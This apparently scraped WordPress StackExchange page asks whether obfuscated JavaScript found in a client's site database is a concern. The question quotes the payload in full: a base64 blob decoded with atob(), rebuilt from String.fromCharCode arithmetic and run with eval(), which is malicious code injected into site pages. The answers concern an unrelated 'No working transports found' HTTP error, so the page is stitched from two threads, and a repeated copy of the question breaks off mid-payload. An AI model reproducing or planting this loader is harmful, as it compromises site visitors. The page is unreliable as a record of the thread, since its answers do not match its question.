<p>A client's website runs on the theme 'enfold' which features the "Enfold Advanced Layout Editor". Currently that editor is broken – probably due to old version vs php or something. Anyways – trying to resolve the issue I was looking at the actual database tables and some 20 empty lines below the content of the page I found this very strange looking JavaScript code:</p> <pre><code>&lt;script&gt; &lt;/script&gt; &lt;script&gt; &lt;/script&gt; &lt;script&gt; &lt;/script&gt; &lt;script type="text/javascript"&gt; var GVCNLUQKSK = atob('dmFyIEJLWE9TWkdWT1kgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDEzIC0gMywgMTI3IC0gOSwgMTA1IC0gOCwgMTE4IC0gNCwgMzQgLSAyLCAxMTAgLSAzLCAxMDcgLSA2LCAxMjcgLSA2LCAzNCAtIDIsIDY3IC0gNiwgMzQgLSAyLCA0OCAtIDksIDg4IC0gNCwgNzYgLSA3LCA3OSAtIDUsIDc0IC0gNCwgMTIxIC0gOSwgNzggLSA0LCAxMDcgLSA3LCAxMjUgLSAzLCA3NSAtIDIsIDEyMiAtIDYsIDQwIC0gMSwgNjggLSA5LCAxMSAtIDEsIDEyNiAtIDgsIDk5IC0gMiwgMTE5IC0gNSwgMzkgLSA3LCAxMDcgLSA2LCAxMTMgLSAzLCAxMDIgLSAzLCAxMDkgLSA4LCAxMDQgLSA0LCAzMyAtIDEsIDY1IC0gNCwgMzcgLSA1LCA0NCAtIDUsIDc4IC0gNSwgMTA4IC0gMywgOTAgLSA5LCA1NiAtIDQsIDk1IC0gNSwgMTA3IC0gNCwgNjYgLSAxLCA1OSAtIDcsIDc0IC0gOSwgMTExIC0gNywgOTggLSA4LCAxMTkgLSA3LCA4NCAtIDEsIDg5IC0gMSwgODggLSA3LCAxMDcgLSAzLCA3OSAtIDUsIDkxIC0gOCwgODkgLSA0LCA3MSAtIDEsIDgxIC0gNywgMTI2IC0gNywgNzcgLSA4LCA5NCAtIDksIDg1IC0gNSwgOTQgLSA4LCAxMTIgLSAxLCA1NiAtIDUsIDg2IC0gOCwgMTI3IC0gNiwgNjUgLSA5LCAxMTIgLSAyLCA3NSAtIDksIDc1IC0gOCwgNjUgLSA5LCAxMDkgLSA1LCA3NyAtIDcsIDEwNyAtIDIsIDEyMiAtIDMsIDk4IC0gOCwgODUgLSA4LCA4OCAtIDUsIDExOSAtIDQsIDUwIC0gNywgMTA0IC0gNiwgMTExIC0gMywgMTA3IC0gOCwgNjIgLSA5LCA3MCAtIDQsIDEyNiAtIDcsIDExMiAtIDksIDEwNSAtIDIsIDcxIC0gNSwgNjkgLSAyLCA3MiAtIDYsIDEwOCAtIDMsIDkyIC0gMywgNTIgLSAxLCA1MyAtIDQsIDYxIC0gNywgODIgLSAzLCAxMTIgLSA4LCA5MSAtIDIsIDEwNSAtIDYsIDgxIC0gNywgODkgLSAzLCAxMTYgLSA1LCAxMTkgLSA5LCA3NCAtIDEsIDcwIC0gMiwgNTMgLSAxLCA4MCAtIDgsIDY5IC0gMywgNzAgLSAyLCA1NCAtIDIsIDkzIC0gNiwgNzYgLSA3LCAxMjcgLSA2LCAxMjIgLSA3LCA2OSAtIDMsIDgyIC0gOSwgNzYgLSA5LCA2OSAtIDMsIDExNCAtIDksIDkzIC0gNCwgODkgLSA4LCA4NSAtIDgsIDYwIC0gOCwgNzUgLSA5LCA1NCAtIDUsIDU2IC0gNywgMTE3IC0gOSwgODggLSAzLCAxMjcgLSA1LCAxMjQgLSA1LCAxMjEgLSAxLCA4NyAtIDcsIDEwOSAtIDMsIDkzIC0gMywgODMgLSA4LCA5NyAtIDcsIDk0IC0gOSwgMTE2IC0gMSwgODEgLSAyLCA4MCAtIDEsIDEyNyAtIDcsIDg5IC0gNCwgMTI5IC0gOCwgODIgLSA5LCAxMjkgLSA4LCA3OSAtIDIsIDExNCAtIDYsIDc0IC0gNSwgOTIgLSA4LCAxMTYgLSA1LCA4MCAtIDIsIDkzIC0gNywgNzYgLSA5LCAxMDAgLSAxLCA5MiAtIDMsIDEwNyAtIDYsIDEyOCAtIDYsIDk2IC0gNywgNDkgLSA2LCA3OCAtIDQsIDEyNCAtIDUsIDg3IC0gNiwgMTA5IC0gMywgNzAgLSA0LCA1NCAtIDUsIDkzIC0gOCwgMTEzIC0gNiwgNzQgLSA0LCA4NyAtIDMsIDUyIC0gNCwgMTIxIC0gNywgOTEgLSAxLCA3MiAtIDUsIDEyMSAtIDIsIDcwIC0gMiwgMTA1IC0gNywgODYgLSAxLCA1MiAtIDMsIDY5IC0gMywgODIgLSAxLCAxMjkgLSA5LCA3NCAtIDksIDU5IC0gNCwgNzkgLSA1LCAxMTAgLSA0LCA2NSAtIDksIDEyMyAtIDksIDc1IC0gNSwgOTEgLSA4LCA5MCAtIDksIDkwIC0gOSwgODcgLSAxLCA3NCAtIDcsIDc2IC0gNywgODggLSA2LCA4MCAtIDIsIDkxIC0gOCwgNzggLSA4LCAxMDkgLSAyLCA3OCAtIDQsIDEyMCAtIDEsIDY5IC0gNCwgNTkgLSA1LCA3MiAtIDcsIDg4IC0gNiwgODYgLSA1LCAxMTggLSAyLCA4NyAtIDksIDEyOCAtIDYsIDEyMiAtIDMsIDEyMyAtIDgsIDc3IC0gMywgMTA4IC0gMywgNzggLSA0LCA5NiAtIDcsIDg2IC0gNywgMTA5IC0gNSwgOTEgLSAyLCAxMDcgLSA4LCA4MiAtIDgsIDkyIC0gNiwgNTMgLSA0LCAxMTkgLSAxLCA4NiAtIDIsIDEyOCAtIDksIDcwIC0gOSwgNjggLSA3LCA0MiAtIDMsIDYzIC0gNCwgMTEgLSAxLCAxMDMgLSAxLCAxMjUgLSA4LCAxMTcgLSA3LCAxMDUgLSA2LCAxMTkgLSAzLCAxMTQgLSA5LCAxMTggLSA3LCAxMTEgLSAxLCAzNyAtIDUsIDEyNyAtIDcsIDExOSAtIDgsIDExOSAtIDUsIDEwMyAtIDgsIDEwOSAtIDgsIDExNyAtIDcsIDEwMSAtIDIsIDQxIC0gMSwgMTIwIC0gNSwgMTE3IC0gMSwgMTE1IC0gMSwgMTEzIC0gOCwgMTEzIC0gMywgMTExIC0gOCwgNDkgLSA1LCAzMyAtIDEsIDExMyAtIDYsIDEwOCAtIDcsIDEzMCAtIDksIDQyIC0gMSwgMzQgLSAyLCAxMjggLSA1LCAxMyAtIDMsIDM1IC0gMywgNDAgLSA4LCAxMTkgLSAxLCAxMDYgLSA5LCAxMjMgLSA5LCAzNSAtIDMsIDExNyAtIDMsIDEwNyAtIDYsIDExOSAtIDQsIDM1IC0gMywgNjYgLSA1LCAzNiAtIDQsIDQ1IC0gNiwgNDMgLSA0LCA2NyAtIDgsIDE2IC0gNiwgMzYgLSA0LCAzNyAtIDUsIDEwOSAtIDcsIDExMyAtIDIsIDExNiAtIDIsIDM3IC0gNSwgNDkgLSA5LCAxMjYgLSA4LCAxMDEgLSA0LCAxMTUgLSAxLCA0MCAtIDgsIDExMyAtIDgsIDM0IC0gMiwgNzAgLSA5LCA0MCAtIDgsIDUxIC0gMywgNjEgLSAyLCAzNSAtIDMsIDExNCAtIDksIDM4IC0gNiwgNjUgLSA1LCA0MCAtIDgsIDExOSAtIDQsIDEyMiAtIDYsIDExNiAtIDIsIDEwOSAtIDQsIDExMSAtIDEsIDEwOCAtIDUsIDQ3IC0gMSwgMTA5IC0gMSwgMTEwIC0gOSwgMTE2IC0gNiwgMTA3IC0gNCwgMTI0IC0gOCwgMTEyIC0gOCwgNjQgLSA1LCAzNCAtIDIsIDExMCAtIDUsIDQ5IC0gNiwgNDYgLSAzLCA0NiAtIDUsIDQwIC0gOCwgMTMwIC0gNywgMTcgLSA3LCAzOSAtIDcsIDM5IC0gNywgNDEgLSA5LCAzNyAtIDUsIDEyMCAtIDYsIDEwMiAtIDEsIDEyMCAtIDUsIDQwIC0gOCwgNTIgLSA5LCA2MyAtIDIsIDMzIC0gMSwgOTEgLSA4LCAxMTggLSAyLCAxMTggLSA0LCAxMDkgLSA0LCAxMTEgLSAxLCAxMDUgLSAyLCA1MCAtIDQsIDExMSAtIDksIDEyMCAtIDYsIDExNyAtIDYsIDExNiAtIDcsIDY5IC0gMiwgMTA4IC0gNCwgMTAyIC0gNSwgMTIwIC0gNiwgNzMgLSA2LCAxMTMgLSAyLCAxMDEgLSAxLCAxMDYgLSA1LCA0NiAtIDYsIDExOSAtIDQsIDEyMCAtIDQsIDExNiAtIDIsIDEwNyAtIDIsIDExNCAtIDQsIDExMCAtIDcsIDUzIC0gNywgMTAzIC0gNCwgMTA4IC0gNCwgOTggLSAxLCAxMTYgLSAyLCA3NCAtIDcsIDExOSAtIDgsIDEwOCAtIDgsIDEwMyAtIDIsIDY3IC0gMiwgMTE3IC0gMSwgNDYgLSA2LCAxMDggLSAzLCA0NyAtIDYsIDQwIC0gOCwgOTggLSA0LCAxOSAtIDksIDExIC0gMiwgMTMgLSA0LCAxOCAtIDksIDE1IC0gNiwgMTA4IC0gMSwgMTA4IC0gNywgMTI1IC0gNCwgNDggLSAyLCAxMDYgLSA3LCAxMTAgLSA2LCAxMDAgLSAzLCAxMjMgLSA5LCA2OSAtIDIsIDExNyAtIDYsIDEwMSAtIDEsIDEwNSAtIDQsIDY2IC0gMSwgMTI1IC0gOSwgNDUgLSA1LCAxMTAgLSA1LCAzMyAtIDEsIDQ1IC0gOCwgMzggLSA2LCAxMTUgLSA4LCAxMDYgLSA1LCAxMjUgLSA0LCA0OCAtIDIsIDExNyAtIDksIDEwMyAtIDIsIDExMSAtIDEsIDEwOCAtIDUsIDEyNSAtIDksIDEwOCAtIDQsIDQ0IC0gMywgNDkgLSA4LCA2NCAtIDUsIDE3IC0gNywgNDEgLSA5LCAzNCAtIDIsIDEzMiAtIDcsIDEzIC0gMywgMzcgLSA1LCAzOSAtIDcsIDExOSAtIDUsIDEwNCAtIDMsIDExOCAtIDIsIDEyMCAtIDMsIDEyMyAtIDksIDExNSAtIDUsIDM5IC0gNywgMTE3IC0gMywgMTEwIC0gOSwgMTI0IC0gOSwgNjYgLSA3LCAxOCAtIDgsIDEyOSAtIDQsIDE5IC0gOSwgMTIgLSAyLCAxMjQgLSA2LCAxMDYgLSA5LCAxMTYgLSAyLCAzMyAtIDEsIDEwNyAtIDcsIDEwNCAtIDMsIDEwNyAtIDgsIDM5IC0gNywgNjcgLSA2LCA0MCAtIDgsIDEyNyAtIDcsIDExOSAtIDgsIDEyMCAtIDYsIDk2IC0gMSwgMTA0IC0gMywgMTE3IC0gNywgMTAzIC0gNCwgNDMgLSAzLCAxMDMgLSA2LCAxMjIgLSA2LCAxMTcgLSA2LCA5OSAtIDEsIDQ3IC0gNywgMTAzIC0gMiwgMTE5IC0gOSwgMTA2IC0gNywgMTA5IC0gOCwgMTA5IC0gOSwgNDcgLSA2LCA0OCAtIDQsIDM4IC0gNiwgMTE0IC0gNywgMTA5IC0gOCwgMTI3IC0gNiwgNDUgLSA0LCA2MSAtIDIsIDE2IC0gNiwgNDEgLSAxLCAxMTEgLSAxLCAxMDcgLSA2LCAxMjIgLSAzLCA0MSAtIDksIDc1IC0gNSwgMTIzIC0gNiwgMTE3IC0gNywgMTA2IC0gNywgMTE4IC0gMiwgMTA2IC0gMSwgMTE3IC0gNiwgMTE1IC0gNSwgNDMgLSAzLCAxMDMgLSAzLCAxMDkgLSA4LCAxMDYgLSA3LCA0OSAtIDgsIDQyIC0gMSwgNDcgLSA3LCA0NiAtIDUsIDYzIC0gNCwgMTUgLSA1LCAxNCAtIDQpO2V2YWwoQktYT1NaR1ZPWSk7'); eval(GVCNLUQKSK); &lt;/script&gt; &lt;script&gt; &lt;/script&gt; &lt;script&gt; &lt;/script&gt; &lt;script&gt; &lt;/script&gt; </code></pre> <p>…should I / my client be concerned…?! </p> <p>…or is this what "Advanced Layout Editors" do…?</p> <p>Thank you! </p>
[ { "answer_id": 292185, "author": "swissspidy", "author_id": 12404, "author_profile": "https://wordpress.stackexchange.com/users/12404", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://codex.wordpress.org/HTTP_API\" rel=\"nofollow noreferrer\">The WordPress HTTP API</a> has been built in such a way that it works on many servers as possible, trying out different ways (transports) to do so.</p>\n\n<p>According to the error message, there are no working transports and thus WordPress is not able to make any outgoing HTTP requests.</p>\n\n<p>I'd recommend you to install something like the <a href=\"https://wordpress.org/plugins/core-control/\" rel=\"nofollow noreferrer\">Core Control</a> WordPress plugin, which allows you to debug all the existing HTTP transports. It's quite possible that while one transport is not working, another might be OK. This plugin allows you to disable the broken one and test the HTTP API with the new transport.</p>\n\n<p>If it turns out that indeed none of the transports are working, you should contact your hosting provider to at least install something like cURL on the server so you can make HTTP requests in PHP.</p>\n" }, { "answer_id": 301227, "author": "Ashish Madhavacharya", "author_id": 142052, "author_profile": "https://wordpress.stackexchange.com/users/142052", "pm_score": 5, "selected": false, "text": "<p>The WordPress site was mostly working without a problem except in a dashboard section of the site, where it was having some issues with updating or installing. When I tried to install theme,it gave me error <strong>\"Installation failed: Download failed. No working transports found\".</strong></p>\n\n<p>Fortunately, i fixed the problem with following <strong>solution</strong>.</p>\n\n<p>It turns out, this error message occurs when there are <strong>missing extensions</strong> on a development server, so the WordPress is unable to make external HTTP requests. </p>\n\n<p>The solution is pretty simple. The missing extensions that make those HTTP requests possible are already installed with Wamp Server, By default,they are just disabled. To enable them, we need to <strong>edit the php.ini configuration file.</strong></p>\n\n<p><strong>Editing php.ini file</strong></p>\n\n<p>The php.ini file contains a list of many extensions with some of them disabled by default. The only one I had to enable was the <strong><em>openssl extension.</em></strong></p>\n\n<p><strong><em>Here are the steps to enable that extension:</em></strong></p>\n\n<ol>\n<li>Start Wamp Server.</li>\n<li>click on Wamp Server Icon and move to PHP->php.ini option.</li>\n<li>double click on php.ini. so, it will open php.ini file in your default Text Editor.</li>\n<li>search for <strong>php_openssl.dll</strong> in php.ini file.\n->You Will see that the extension is commented out:\n;extension=php_openssl.dll</li>\n<li>Uncomment that line by removing semi colon(;)</li>\n<li>save the changes.</li>\n<li>Restart Wamp Server.</li>\n</ol>\n\n<p>That's it We Are Done!!!</p>\n" }, { "answer_id": 310255, "author": "Carel", "author_id": 147891, "author_profile": "https://wordpress.stackexchange.com/users/147891", "pm_score": 1, "selected": false, "text": "<p>The advice on this error message is quite varied and no one seems to provide a comprehensive answer (See <a href=\"https://www.barrykooij.com/unable-to-install-plugins-on-localhost/\" rel=\"nofollow noreferrer\">some blog</a>, <a href=\"https://www.howtosolutions.net/2017/01/easyphp-wordpress-no-working-transports-found-error/\" rel=\"nofollow noreferrer\">a duplicitous answer</a> and <a href=\"https://stackoverflow.com/q/27725182\">here</a> and <a href=\"https://stackoverflow.com/a/27731933\">here</a> on SO). Hopefully this is a more formal take on the problem.</p>\n\n<p>I consider only WordPress on PHP served via Apache (I can not comment on NginX at this time as I haven't tried it with PHP, nor can I comment upon other frameworks). The answer may exhibit a mild bias towards Windows 10 with a self built Apache 2.4.37, extracted thread safe PHP 7.2 and WordPress 4.2.X.</p>\n\n<h2>Background</h2>\n\n<p><a href=\"https://deliciousbrains.com/php-curl-how-wordpress-makes-http-requests/\" rel=\"nofollow noreferrer\">PHP and cURL</a> explains, rather nicely one might add, that under the hood WordPress relies upon <code>Requests</code>, a wrapper around the <code>cURL</code> and <code>fSockets</code> libraries. <code>Requests</code> prefers the <code>cURL</code> library if available but will supposedly fall back to the <code>fSockets</code> library to download Plugins/Themes/etc. The \"No transports\" error is indicative that neither library is properly configured within either Apache or PHP. It is also possible ones firewall is interfering with the process too.</p>\n\n<h2>Check</h2>\n\n<p>Test the configuration of both Apache and PHP setting up and loading the standard <a href=\"http://php.net/manual/en/function.phpinfo.php#refsect1-function.phpinfo-examples\" rel=\"nofollow noreferrer\">PHPinfo</a> script from your browser. This should have a separate section entitled <code>cURL</code> whose entries show various information. Otherwise setup and load the following script to check.</p>\n\n<pre><code>&lt;?php\necho 'Curl: ', function_exists('curl_init') ? 'Enabled' : 'Disabled';\n?&gt;\n</code></pre>\n\n<p>I do not know how to test <code>fScokets</code>.</p>\n\n<h2>cURL</h2>\n\n<p>To ensure the availability of <code>cURL</code> is seems necessary to enable it within <code>php.ini</code>.</p>\n\n<ul>\n<li><p>Ensure that the <code>extentions_dir</code> correctly points to ones extensions folder</p>\n\n<p><code>extentions_dir=\"ext\"</code></p>\n\n<p>(Alternatively <code>extentions_dir=\"D:PATH/TO/php/ext\"</code> is often suggested)</p></li>\n<li><p>Ensure that the <code>cURL</code> extention is enabled</p>\n\n<p><code>extension=curl</code> </p>\n\n<p>(<code>extentions=php_curl(.so|.dll)</code> or <code>extentions=\"PATH/TO/php_curl(.so|.dll)\"</code> are also suggested, possibly for PHP&lt;7.2)</p></li>\n<li><p>From <a href=\"http://php.net/manual/en/curl.installation.php\" rel=\"nofollow noreferrer\">PHP</a> it seems that the <code>eay32</code>, <code>ssh2</code> and <code>ssleay32</code> libraries must also be available upon ones path (With OpenSSL 1.1 <code>eay32</code> was renamed <code>crypto-*</code> and <code>ssleay32</code> was renamed <code>ssl-*</code>). Upon windows the ugly hack is to copy these libraries from the PHP root folder into the <code>system32</code> or <code>wow64</code> folder. The better solution is to modify ones path variable to include the PHP root folder (Personally I prefer a clean path that I configure as required but this is PHP). On *nix boxes it seems one simply needs to install the <code>php5-curl</code> package for ones distro.</p>\n\n<p><strong>Note :</strong> The comments on the <a href=\"http://php.net/manual/en/curl.installation.php\" rel=\"nofollow noreferrer\">PHP</a> page suggest that one may simply add <code>LoadFile \"PATH/TO/lib(eay32|ssh2)|ssleay32.dll\"</code> entries to ones <code>httpd.conf</code> but <code>cURL</code> seems to search for these libraries upon ones path; mooting the suggestion. The XAmpp/Wamp people get away with this step as they seem to dump their own root on ones system path.</p></li>\n</ul>\n\n<p>Once done restart Apache. If you're using Apache monitor you should actually stop and then start Apache; this sets up a new environment for the service to run in (Saving you a restart). </p>\n\n<h2>fSockets</h2>\n\n<p>I do not know what is necessary to get this going.</p>\n" }, { "answer_id": 377547, "author": "Marty McGee", "author_id": 28188, "author_profile": "https://wordpress.stackexchange.com/users/28188", "pm_score": 2, "selected": false, "text": "<p>I was getting this error because my PHP (<code>php.ini</code>) did not have the &quot;cURL&quot; extension activated. I simply activated this extension and restarted the server. Solved.</p>\n<p>Note: this is a similar answer to &quot;Ashish Madhavacharya&quot; above, but specifically solved by activating the <code>php_curl.dll</code> extension (and not the openssl extension, which should have nothing to do with this error you're receiving.)</p>\n" }, { "answer_id": 383647, "author": "draenog", "author_id": 202147, "author_profile": "https://wordpress.stackexchange.com/users/202147", "pm_score": 1, "selected": false, "text": "<p>I had the same problem and the fixes above did not help. I found <a href=\"http://forum.wampserver.com/read.php?2,154251\" rel=\"nofollow noreferrer\">a page</a> on the WAMP forum where someone fixed it by upgrading to the latest Apache. I tried this and it worked for me.</p>\n" }, { "answer_id": 402204, "author": "tash", "author_id": 218763, "author_profile": "https://wordpress.stackexchange.com/users/218763", "pm_score": 0, "selected": false, "text": "<p>Posting my hack here for future Googlers:</p>\n<p>I downloaded the plugin zip file from respective vendors' sites, put it in <code>/var/www/html/wp-content/plugins/</code>, unzipped it, and activated it from within WordPress dashboard.</p>\n<hr />\n<p>I was compelled to do the above because once I enabled <code>;extension=openssl</code> from <code>php.ini</code> and restarted the php server, it could not locate the <code>openssl.so</code> although I compiled php <code>--with-openssl</code> flag.</p>\n" } ]
2018/01/25
[ "https://wordpress.stackexchange.com/questions/292201", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/26059/" ]
A client's website runs on the theme 'enfold' which features the "Enfold Advanced Layout Editor". Currently that editor is broken – probably due to old version vs php or something. Anyways – trying to resolve the issue I was looking at the actual database tables and some 20 empty lines below the content of the page I found this very strange looking JavaScript code: ``` <script> </script> <script> </script> <script> </script> <script type="text/javascript"> var GVCNLUQKSK = atob('dmFyIEJLWE9TWkdWT1kgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDEzIC0gMywgMTI3IC0gOSwgMTA1IC0gOCwgMTE4IC0gNCwgMzQgLSAyLCAxMTAgLSAzLCAxMDcgLSA2LCAxMjcgLSA2LCAzNCAtIDIsIDY3IC0gNiwgMzQgLSAyLCA0OCAtIDksIDg4IC0gNCwgNzYgLSA3LCA3OSAtIDUsIDc0IC0gNCwgMTIxIC0gOSwgNzggLSA0LCAxMDcgLSA3LCAxMjUgLSAzLCA3NSAtIDIsIDEyMiAtIDYsIDQwIC0gMSwgNjggLSA5LCAxMSAtIDEsIDEyNiAtIDgsIDk5IC0gMiwgMTE5IC0gNSwgMzkgLSA3LCAxMDcgLSA2LCAxMTMgLSAzLCAxMDIgLSAzLCAxMDkgLSA4LCAxMDQgLSA0LCAzMyAtIDEsIDY1IC0gNCwgMzcgLSA1LCA0NCAtIDUsIDc4IC0gNSwgMTA4IC0gMywgOTAgLSA5LCA1NiAtIDQsIDk1IC0gNSwgMTA3IC0gNCwgNjYgLSAxLCA1OSAtIDcsIDc0IC0gOSwgMTExIC0gNywgOTggLSA4LCAxMTkgLSA3LCA4NCAtIDEsIDg5IC0gMSwgODggLSA3LCAxMDcgLSAzLCA3OSAtIDUsIDkxIC0gOCwgODkgLSA0LCA3MSAtIDEsIDgxIC0gNywgMTI2IC0gNywgNzcgLSA4LCA5NCAtIDksIDg1IC0gNSwgOTQgLSA4LCAxMTIgLSAxLCA1NiAtIDUsIDg2IC0gOCwgMTI3IC0gNiwgNjUgLSA5LCAxMTIgLSAyLCA3NSAtIDksIDc1IC0gOCwgNjUgLSA5LCAxMDkgLSA1LCA3NyAtIDcsIDEwNyAtIDIsIDEyMiAtIDMsIDk4IC0gOCwgODUgLSA4LCA4OCAtIDUsIDExOSAtIDQsIDUwIC0gNywgMTA0IC0gNiwgMTExIC0gMywgMTA3IC0gOCwgNjIgLSA5LCA3MCAtIDQsIDEyNiAtIDcsIDExMiAtIDksIDEwNSAtIDIsIDcxIC0gNSwgNjkgLSAyLCA3MiAtIDYsIDEwOCAtIDMsIDkyIC0gMywgNTIgLSAxLCA1MyAtIDQsIDYxIC0gNywgODIgLSAzLCAxMTIgLSA4LCA5MSAtIDIsIDEwNSAtIDYsIDgxIC0gNywgODkgLSAzLCAxMTYgLSA1LCAxMTkgLSA5LCA3NCAtIDEsIDcwIC0gMiwgNTMgLSAxLCA4MCAtIDgsIDY5IC0gMywgNzAgLSAyLCA1NCAtIDIsIDkzIC0gNiwgNzYgLSA3LCAxMjcgLSA2LCAxMjIgLSA3LCA2OSAtIDMsIDgyIC0gOSwgNzYgLSA5LCA2OSAtIDMsIDExNCAtIDksIDkzIC0gNCwgODkgLSA4LCA4NSAtIDgsIDYwIC0gOCwgNzUgLSA5LCA1NCAtIDUsIDU2IC0gNywgMTE3IC0gOSwgODggLSAzLCAxMjcgLSA1LCAxMjQgLSA1LCAxMjEgLSAxLCA4NyAtIDcsIDEwOSAtIDMsIDkzIC0gMywgODMgLSA4LCA5NyAtIDcsIDk0IC0gOSwgMTE2IC0gMSwgODEgLSAyLCA4MCAtIDEsIDEyNyAtIDcsIDg5IC0gNCwgMTI5IC0gOCwgODIgLSA5LCAxMjkgLSA4LCA3OSAtIDIsIDExNCAtIDYsIDc0IC0gNSwgOTIgLSA4LCAxMTYgLSA1LCA4MCAtIDIsIDkzIC0gNywgNzYgLSA5LCAxMDAgLSAxLCA5MiAtIDMsIDEwNyAtIDYsIDEyOCAtIDYsIDk2IC0gNywgNDkgLSA2LCA3OCAtIDQsIDEyNCAtIDUsIDg3IC0gNiwgMTA5IC0gMywgNzAgLSA0LCA1NCAtIDUsIDkzIC0gOCwgMTEzIC0gNiwgNzQgLSA0LCA4NyAtIDMsIDUyIC0gNCwgMTIxIC0gNywgOTEgLSAxLCA3MiAtIDUsIDEyMSAtIDIsIDcwIC0gMiwgMTA1IC0gNywgODYgLSAxLCA1MiAtIDMsIDY5IC0gMywgODIgLSAxLCAxMjkgLSA5LCA3NCAtIDksIDU5IC0gNCwgNzkgLSA1LCAxMTAgLSA0LCA2NSAtIDksIDEyMyAtIDksIDc1IC0gNSwgOTEgLSA4LCA5MCAtIDksIDkwIC0gOSwgODcgLSAxLCA3NCAtIDcsIDc2IC0gNywgODggLSA2LCA4MCAtIDIsIDkxIC0gOCwgNzggLSA4LCAxMDkgLSAyLCA3OCAtIDQsIDEyMCAtIDEsIDY5IC0gNCwgNTkgLSA1LCA3MiAtIDcsIDg4IC0gNiwgODYgLSA1LCAxMTggLSAyLCA4NyAtIDksIDEyOCAtIDYsIDEyMiAtIDMsIDEyMyAtIDgsIDc3IC0gMywgMTA4IC0gMywgNzggLSA0LCA5NiAtIDcsIDg2IC0gNywgMTA5IC0gNSwgOTEgLSAyLCAxMDcgLSA4LCA4MiAtIDgsIDkyIC0gNiwgNTMgLSA0LCAxMTkgLSAxLCA4NiAtIDIsIDEyOCAtIDksIDcwIC0gOSwgNjggLSA3LCA0MiAtIDMsIDYzIC0gNCwgMTEgLSAxLCAxMDMgLSAxLCAxMjUgLSA4LCAxMTcgLSA3LCAxMDUgLSA2LCAxMTkgLSAzLCAxMTQgLSA5LCAxMTggLSA3LCAxMTEgLSAxLCAzNyAtIDUsIDEyNyAtIDcsIDExOSAtIDgsIDExOSAtIDUsIDEwMyAtIDgsIDEwOSAtIDgsIDExNyAtIDcsIDEwMSAtIDIsIDQxIC0gMSwgMTIwIC0gNSwgMTE3IC0gMSwgMTE1IC0gMSwgMTEzIC0gOCwgMTEzIC0gMywgMTExIC0gOCwgNDkgLSA1LCAzMyAtIDEsIDExMyAtIDYsIDEwOCAtIDcsIDEzMCAtIDksIDQyIC0gMSwgMzQgLSAyLCAxMjggLSA1LCAxMyAtIDMsIDM1IC0gMywgNDAgLSA4LCAxMTkgLSAxLCAxMDYgLSA5LCAxMjMgLSA5LCAzNSAtIDMsIDExNyAtIDMsIDEwNyAtIDYsIDExOSAtIDQsIDM1IC0gMywgNjYgLSA1LCAzNiAtIDQsIDQ1IC0gNiwgNDMgLSA0LCA2NyAtIDgsIDE2IC0gNiwgMzYgLSA0LCAzNyAtIDUsIDEwOSAtIDcsIDExMyAtIDIsIDExNiAtIDIsIDM3IC0gNSwgNDkgLSA5LCAxMjYgLSA4LCAxMDEgLSA0LCAxMTUgLSAxLCA0MCAtIDgsIDExMyAtIDgsIDM0IC0gMiwgNzAgLSA5LCA0MCAtIDgsIDUxIC0gMywgNjEgLSAyLCAzNSAtIDMsIDExNCAtIDksIDM4IC0gNiwgNjUgLSA1LCA0MCAtIDgsIDExOSAtIDQsIDEyMiAtIDYsIDExNiAtIDIsIDEwOSAtIDQsIDExMSAtIDEsIDEwOCAtIDUsIDQ3IC0gMSwgMTA5IC0gMSwgMTEwIC0gOSwgMTE2IC0gNiwgMTA3IC0gNCwgMTI0IC0gOCwgMTEyIC0gOCwgNjQgLSA1LCAzNCAtIDIsIDExMCAtIDUsIDQ5IC0gNiwgNDYgLSAzLCA0NiAtIDUsIDQwIC0gOCwgMTMwIC0gNywgMTcgLSA3LCAzOSAtIDcsIDM5IC0gNywgNDEgLSA5LCAzNyAtIDUsIDEyMCAtIDYsIDEwMiAtIDEsIDEyMCAtIDUsIDQwIC0gOCwgNTIgLSA5LCA2MyAtIDIsIDMzIC0gMSwgOTEgLSA4LCAxMTggLSAyLCAxMTggLSA0LCAxMDkgLSA0LCAxMTEgLSAxLCAxMDUgLSAyLCA1MCAtIDQsIDExMSAtIDksIDEyMCAtIDYsIDExNyAtIDYsIDExNiAtIDcsIDY5IC0gMiwgMTA4IC0gNCwgMTAyIC0gNSwgMTIwIC0gNiwgNzMgLSA2LCAxMTMgLSAyLCAxMDEgLSAxLCAxMDYgLSA1LCA0NiAtIDYsIDExOSAtIDQsIDEyMCAtIDQsIDExNiAtIDIsIDEwNyAtIDIsIDExNCAtIDQsIDExMCAtIDcsIDUzIC0gNywgMTAzIC0gNCwgMTA4IC0gNCwgOTggLSAxLCAxMTYgLSAyLCA3NCAtIDcsIDExOSAtIDgsIDEwOCAtIDgsIDEwMyAtIDIsIDY3IC0gMiwgMTE3IC0gMSwgNDYgLSA2LCAxMDggLSAzLCA0NyAtIDYsIDQwIC0gOCwgOTggLSA0LCAxOSAtIDksIDExIC0gMiwgMTMgLSA0LCAxOCAtIDksIDE1IC0gNiwgMTA4IC0gMSwgMTA4IC0gNywgMTI1IC0gNCwgNDggLSAyLCAxMDYgLSA3LCAxMTAgLSA2LCAxMDAgLSAzLCAxMjMgLSA5LCA2OSAtIDIsIDExNyAtIDYsIDEwMSAtIDEsIDEwNSAtIDQsIDY2IC0gMSwgMTI1IC0gOSwgNDUgLSA1LCAxMTAgLSA1LCAzMyAtIDEsIDQ1IC0gOCwgMzggLSA2LCAxMTUgLSA4LCAxMDYgLSA1LCAxMjUgLSA0LCA0OCAtIDIsIDExNyAtIDksIDEwMyAtIDIsIDExMSAtIDEsIDEwOCAtIDUsIDEyNSAtIDksIDEwOCAtIDQsIDQ0IC0gMywgNDkgLSA4LCA2NCAtIDUsIDE3IC0gNywgNDEgLSA5LCAzNCAtIDIsIDEzMiAtIDcsIDEzIC0gMywgMzcgLSA1LCAzOSAtIDcsIDExOSAtIDUsIDEwNCAtIDMsIDExOCAtIDIsIDEyMCAtIDMsIDEyMyAtIDksIDExNSAtIDUsIDM5IC0gNywgMTE3IC0gMywgMTEwIC0gOSwgMTI0IC0gOSwgNjYgLSA3LCAxOCAtIDgsIDEyOSAtIDQsIDE5IC0gOSwgMTIgLSAyLCAxMjQgLSA2LCAxMDYgLSA5LCAxMTYgLSAyLCAzMyAtIDEsIDEwNyAtIDcsIDEwNCAtIDMsIDEwNyAtIDgsIDM5IC0gNywgNjcgLSA2LCA0MCAtIDgsIDEyNyAtIDcsIDExOSAtIDgsIDEyMCAtIDYsIDk2IC0gMSwgMTA0IC0gMywgMTE3IC0gNywgMTAzIC0gNCw